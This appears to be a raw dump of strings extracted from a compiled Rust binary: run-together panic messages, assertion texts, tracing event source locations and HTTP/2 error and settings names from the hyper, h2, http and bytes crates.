hyper::client::clientevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/client.rs:833event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/client.rs:800event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/client.rs:594event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/client.rs:489event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/client.rs:487event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/client.rs:462event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/client.rs:374event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/client.rs:244event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/client.rs:214event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/client.rs:171
|
||||
description() is deprecated; use Displaycalled `Result::unwrap()` on an `Err` value/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/ping.rsFieldSet corrupted (this is a bug)pong error: pong received implies ping_sent_atrecv pongbdp enabled implies bytesreceived BDP ack; bytes = error sending ping: sent pingkeep_alive expects last_read_atcurrent bandwidth = B/sBDP increased to keep-alive interval () reachedkeep-alive timeout (keep-alive timed outKeepAliveTimedOutmessagehyper::proto::h2::pingevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/ping.rs:526event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/ping.rs:510event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/ping.rs:441event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/ping.rs:427event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/ping.rs:380event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/ping.rs:377event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/ping.rs:344event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/ping.rs:334event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/ping.rs:321
|
||||
+1assertion failed: (*tail).value.is_none()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/futures-channel-0.3.26/src/mpsc/queue.rsassertion failed: (*next).value.is_some()/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/std/src/io/mod.rsfailed to write whole bufferformatter error
|
||||
CHUNK_SIZE_MAX_BYTES should fit any usize/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/encode.rs
|
||||
event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/encode.rs:159event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/encode.rs:149event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/encode.rs:121event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/encode.rs:114/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/http-0.2.8/src/header/map.rscalled `Option::unwrap()` on a `None` valueheader map at capacityrequested capacity too largereserve overflowheader map reserve over max capacityheader map reserve overflowedinternal error: entered unreachable code
|
||||
internal error: entered unreachable code: unknown state: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/want-0.3.0/src/lib.rspoll_want: closedpoll_want: taker wants!
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/httparse-1.8.0/src/lib.rs
|
||||
invalid initial remote window size/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rsassertion failed: self.refused.is_none()FieldSet corrupted (this is a bug)connection error PROTOCOL_ERROR -- ;) < next_id ()opening stream; init_window=
|
||||
messageh2::proto::streams::recvevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:138event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:161event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:182event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:203event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:226event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:328event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:345event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:371event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:405event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:430event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:472event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:493event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:501event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:543event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:547event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:555event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:579event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:589event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:598event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:636event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:670event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:688event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:694event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:716event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:802event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:815event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:890event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rs:980
|
||||
reset_at must be set if in queue/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rsassertion failed: self.ids.insert(id, index).is_none()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/store.rscalled `Option::unwrap()` on a `None` valuedangling store key for stream_id=FieldSet corrupted (this is a bug)Queue::push -> already queued -> existing entries -> first entryassertion failed: N::next(&*stream).is_none()Keyindexstream_idSlabIndexQueueindices_pIndicesmessageh2::proto::streams::storeevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/store.rs:261event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/store.rs:264event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/store.rs:276event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/store.rs:286
|
||||
FieldSet corrupted (this is a bug)skipping 1xx response headers/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/state.rsconnection error PROTOCOL_ERROR -- ;recv_open: in unexpected state reserve_remote: in unexpected state recv_close: in unexpected state recv_close: HalfClosedLocal => Closedrecv_close: Open => HalfClosedRemote()recv_reset; frame=; queued=handle_error; err=send_close: unexpected state send_close: HalfClosedRemote => Closedsend_close: Open => HalfClosedLocal(StateinnerClosedHalfClosedLocallocalremoteReservedRemoteReservedLocalStreamingAwaitingHeadersScheduledLibraryResetErrorEndStreammessageh2::proto::streams::stateevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/state.rs:147event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/state.rs:161event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/state.rs:177event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/state.rs:189event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/state.rs:197event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/state.rs:213event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/state.rs:235event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/state.rs:240event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/state.rs:245event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/state.rs:276event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/state.rs:295event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/state.rs:305event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/state.rs:316event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/state.rs:320
|
||||
/httpshttpinternal error: entered unreachable code/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/http-0.2.8/src/uri/scheme.rs
|
||||
cannot advance past `remaining`: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/bytes.rsFieldSet corrupted (this is a bug)loading headers; flags=/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/headers.rsHeadersstream_idflagsstream_dep
|
||||
messageh2::frame::headersevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/headers.rs:149
|
||||
event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/headers.rs:879event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/headers.rs:882event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/headers.rs:894event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/headers.rs:899event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/headers.rs:900event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/headers.rs:901event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/headers.rs:902event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/headers.rs:903event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/headers.rs:904event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/headers.rs:909event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/headers.rs:914
|
||||
called `Option::unwrap()` on a `None` value/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/http-0.2.8/src/uri/path.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/buf/buf_mut.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/hpack/table.rs
|
||||
gzip, deflate/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/window_update.rsh2::codec::framed_write/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_write.rsFramedWrite::flushqueued_data_frameevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_write.rs:127event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_write.rs:137messageevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_write.rs:154frameFramedWrite::bufferevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_write.rs:232remevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_write.rs:276event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_write.rs:280event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_write.rs:284event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_write.rs:288event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_write.rs:300
|
||||
WindowUpdatestream_idsize_incrementh2::frame::window_updateevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/window_update.rs:51
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/server.rsFieldSet corrupted (this is a bug)
|
||||
promised_idevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/server.rs:1378event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/server.rs:1383event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/server.rs:1450event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/server.rs:1455event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/server.rs:1459event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/server.rs:1470event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/server.rs:1481event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/server.rs:1485event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/server.rs:1499event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/server.rs:1504event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/server.rs:1509event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/server.rs:1514event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/server.rs:1517event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/server.rs:1527
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/streams.rs
|
||||
FieldSet corrupted (this is a bug)StreamRef::drop; mutex poisoneddrop_stream_ref; stream=/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/head.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/reset.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/stream_id.rs( | : )
|
||||
ClosedClosingh2::proto::connection/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/connection.rsConnectionpoll_readyevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/connection.rs:254messageevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/connection.rs:283errorevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/connection.rs:415event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/connection.rs:424idreasonevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/connection.rs:439event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/connection.rs:448frameevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/connection.rs:464event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/connection.rs:468event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/connection.rs:472event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/connection.rs:476event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/connection.rs:480event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/connection.rs:484event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/connection.rs:493event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/connection.rs:506event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/connection.rs:510event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/connection.rs:514IoGoAwayResetRemoteLibraryh2::proto::streams::streamsevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/streams.rs:396event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/streams.rs:416event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/streams.rs:449event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/streams.rs:458event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/streams.rs:492event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/streams.rs:517event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/streams.rs:526event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/streams.rs:538event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/streams.rs:571event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/streams.rs:578event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/streams.rs:714event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/streams.rs:727event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/streams.rs:812event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/streams.rs:927event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/streams.rs:1412event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/streams.rs:1424UnknownContinuationWindowUpdatePushPromiseHeadersdependencydependency_idweightis_exclusiveerror_codeevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/reset.rs:41
|
||||
assertion failed: self.remaining() >= 1/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/buf/buf_impl.rsPoisonErroroverflowassertion failed: pos <= self.get_ref().as_ref().len()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/indexmap-1.9.2/src/map/core/raw.rsuser error: connection error received: connection error detected: connection error sent by user: ()stream error received: stream error detected: stream error sent by user: FieldSet corrupted (this is a bug)inc_window; sz=; old=; new=/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/flow_control.rsdec_window; sz=; window=, available=dec_recv_window; sz=send_data; sz=; available=assertion failed: self.window_size >= sz as usizenegative Window/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/go_away.rsGoAwayerror_codelast_stream_iddebug_data/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/ping.rsunknown reasonendpoint requires HTTP/1.1security properties do not meet minimum requirementsdetected excessive load generating behaviorconnection established in response to a CONNECT request was reset or abnormally closedunable to maintain the header compression contextstream no longer neededrefused stream before processing any application logicframe with invalid sizereceived frame when stream half-closedsettings ACK not received in timely mannerflow-control protocol violatedunexpected internal error encounteredunspecific protocol error detectednot a result of an errorReasonHTTP_1_1_REQUIREDINADEQUATE_SECURITYENHANCE_YOUR_CALMCONNECT_ERRORCOMPRESSION_ERRORCANCELREFUSED_STREAMSTREAM_CLOSEDFLOW_CONTROL_ERRORINTERNAL_ERRORPROTOCOL_ERRORassertion failed: DEFAULT_MAX_FRAME_SIZE <= val && val <= MAX_MAX_FRAME_SIZE/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/settings.rsinvalid settings payload length; len=encoding SETTINGS; len=encoding setting; val=flagsenable_connect_protocolmax_header_list_sizemax_frame_sizeinitial_window_sizemax_concurrent_streamsenable_pushheader_table_sizeACKErrorIoResetFlowControlwindow_sizeavailablemessageh2::proto::streams::flow_controlevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/flow_control.rs:123event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/flow_control.rs:139event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/flow_control.rs:154event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/flow_control.rs:168Windowh2::frame::go_awayevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/go_away.rs:53ackpayloadh2::frame::pingevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/ping.rs:88EnableConnectProtocolMaxHeaderListSizeMaxFrameSizeInitialWindowSizeMaxConcurrentStreamsEnablePushHeaderTableSizeh2::frame::settingsevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/settings.rs:154event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/settings.rs:220event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/settings.rs:226
|
||||
cannot advance past `remaining`: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/bytes.rsFieldSet corrupted (this is a bug)/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rsdecoding frame from Bconnection error PROTOCOL_ERROR -- ;expected CONTINUATION, got CONTINUATION frame stream ID does not match previous frame stream IDCONTINUATION frame header block size over ignorable limitfailed HPACK decoding; err=stream error PROTOCOL_ERROR -- malformed CONTINUATION frame; stream=received unexpected CONTINUATION framefailed to load frame; err=invalid HEADERS dependency IDmalformed header block; stream=loaded partial header blockinvalid stream ID 0failed to load PRIORITY frame; err=PRIORITY invalid dependency ID; stream=failed to load SETTINGS frame; err=failed to load PING frame; err=failed to load WINDOW_UPDATE frame; err=failed to load DATA frame; err=failed to load RESET frame; err=failed to load GO_AWAY frame; err=
|
||||
offseth2::codec::framed_readFramedRead::decode_framemessageevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs:105event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs:111frame.kindevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs:117event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs:178event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs:187event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs:196event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs:207event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs:212event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs:216event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs:224event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs:229event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs:233event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs:244event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs:248event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs:259event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs:266event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs:289event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs:304event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs:308FramedRead::poll_nextevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs:339read.bytesevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs:346event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs:354
|
||||
called `Option::unwrap()` on a `None` value/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/http-0.2.8/src/uri/authority.rssending PUSH_PROMISE to peer who disabled server pushsending SETTINGS before received previous ACKsend_ping before received previous pongpoll_reset after send_response is illegalrequest URI missing scheme and authoritymalformed headersstream ID overflowedrelease capacity too bigpayload too bigunexpected frame typeinactive streamassertion failed: !id.is_zero()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/peer.rsFieldSet corrupted (this is a bug)connection error PROTOCOL_ERROR -- ;cannot open stream - not client initiated - not server initiated
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/ping_pong.rsassertion failed: self.pending_pong.is_none()pending_ping should be for shutdownrecv PING SHUTDOWN ackrecv PING USER ackrecv PING ack that we never sent:
|
||||
keep-aliveillegal connection-specific headers found/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/send.rs
|
||||
recv_go_away: last_stream_id () > max_stream_id ()assertion failed: max <= std::u32::MAX as usize/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/client.rs
|
||||
messageh2::proto::peerevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/peer.rs:78event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/peer.rs:86
|
||||
h2::proto::ping_pongevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/ping_pong.rs:110event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/ping_pong.rs:120event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/ping_pong.rs:128
|
||||
h2::proto::streams::sendevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/send.rs:88event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/send.rs:92
|
||||
